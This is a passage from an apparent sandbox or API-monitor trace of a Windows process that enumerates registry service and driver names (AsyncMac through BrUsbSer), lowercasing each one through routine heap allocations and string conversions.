RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.593] 